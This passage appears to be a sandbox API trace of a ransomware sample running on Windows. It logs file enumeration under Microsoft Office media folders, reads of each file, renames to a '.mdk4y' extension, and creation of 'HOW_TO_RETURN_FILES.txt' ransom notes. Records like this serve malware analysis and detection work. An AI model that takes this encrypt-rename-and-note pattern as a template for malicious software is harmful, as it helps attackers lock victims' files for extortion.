0x4e4 [0181.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0335112.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0335112.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.854] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825708400000) returned 1 [0181.854] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f64, lpOverlapped=0x0) returned 1 [0181.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825710100000) returned 1 [0181.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825710100000) returned 1 [0181.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.mdk4y")) returned 1 [0181.873] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.873] AreFileApisANSI () returned 1 [0181.873] GetACP () returned 0x4e4 [0181.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0336075.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0336075.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825710400000) returned 1 [0181.874] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xce9a, lpOverlapped=0x0) returned 1 [0181.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825711100000) returned 1 [0181.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825711100000) returned 1 [0181.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.mdk4y")) returned 1 [0181.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0181.882] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0181.883] AreFileApisANSI () returned 1 [0181.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0181.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0181.884] GetFileType (hFile=0x12c) returned 0x1 [0181.884] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0181.884] AreFileApisANSI () returned 1 [0181.884] GetACP () returned 0x4e4 [0181.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFICE14", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OFFICE14", lpUsedDefaultChar=0x37dfd8) returned 8 [0181.884] AreFileApisANSI () returned 1 [0181.884] GetACP () returned 0x4e4 [0181.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\jŸh") returned 49 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37df4c) returned 1 [0181.885] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37df4c) returned 2 [0181.885] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033f+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37df4c) returned 4 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\쏸j툐i2") returned 54 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0181.885] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0181.885] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.885] AreFileApisANSI () returned 1 [0181.885] GetACP () returned 0x4e4 [0181.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFICE10.MML", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OFFICE10.MMLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 12 [0181.885] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825711600000) returned 1 [0181.886] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4c438, lpOverlapped=0x0) returned 1 [0181.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825712700000) returned 1 [0181.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825712700000) returned 1 [0181.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.mdk4y")) returned 1 [0181.900] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0181.900] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0181.901] AreFileApisANSI () returned 1 [0181.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0181.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0181.901] GetFileType (hFile=0xd8) returned 0x1 [0181.902] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.902] AreFileApisANSI () returned 1 [0181.902] GetACP () returned 0x4e4 [0181.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUTOSHAP", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AUTOSHAPAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37df4c) returned 8 [0181.902] AreFileApisANSI () returned 1 [0181.902] GetACP () returned 0x4e4 [0181.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=58, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\\x04") returned 58 [0181.904] AreFileApisANSI () returned 1 [0181.904] GetACP () returned 0x4e4 [0181.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 1 [0181.904] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.904] AreFileApisANSI () returned 1 [0181.905] GetACP () returned 0x4e4 [0181.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 2 [0181.905] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.905] AreFileApisANSI () returned 1 [0181.905] GetACP () returned 0x4e4 [0181.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AUTOSHAP.DLL", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="AUTOSHAP.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 12 [0181.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825713500000) returned 1 [0181.905] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3da0, lpOverlapped=0x0) returned 1 [0181.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716000000) returned 1 [0181.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716000000) returned 1 [0181.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.mdk4y")) returned 1 [0181.931] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.931] AreFileApisANSI () returned 1 [0181.931] GetACP () returned 0x4e4 [0181.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18180_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18180_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.932] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716200000) returned 1 [0181.932] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x926, lpOverlapped=0x0) returned 1 [0181.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716400000) returned 1 [0181.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716400000) returned 1 [0181.934] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf.mdk4y")) returned 1 [0181.934] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.934] AreFileApisANSI () returned 1 [0181.934] GetACP () returned 0x4e4 [0181.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18181_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18181_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716500000) returned 1 [0181.935] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0181.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716700000) returned 1 [0181.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716700000) returned 1 [0181.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf.mdk4y")) returned 1 [0181.937] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.937] AreFileApisANSI () returned 1 [0181.937] GetACP () returned 0x4e4 [0181.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18182_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18182_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.938] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716800000) returned 1 [0181.938] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc5e, lpOverlapped=0x0) returned 1 [0181.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716900000) returned 1 [0181.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825716900000) returned 1 [0181.939] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf.mdk4y")) returned 1 [0181.940] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.940] AreFileApisANSI () returned 1 [0181.940] GetACP () returned 0x4e4 [0181.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18184_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18184_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.940] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825717000000) returned 1 [0181.940] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd22, lpOverlapped=0x0) returned 1 [0181.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825718300000) returned 1 [0181.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825718300000) returned 1 [0181.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf.mdk4y")) returned 1 [0181.954] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.954] AreFileApisANSI () returned 1 [0181.954] GetACP () returned 0x4e4 [0181.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18185_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18185_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.954] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825718500000) returned 1 [0181.955] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd42, lpOverlapped=0x0) returned 1 [0181.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825718600000) returned 1 [0181.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825718700000) returned 1 [0181.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf.mdk4y")) 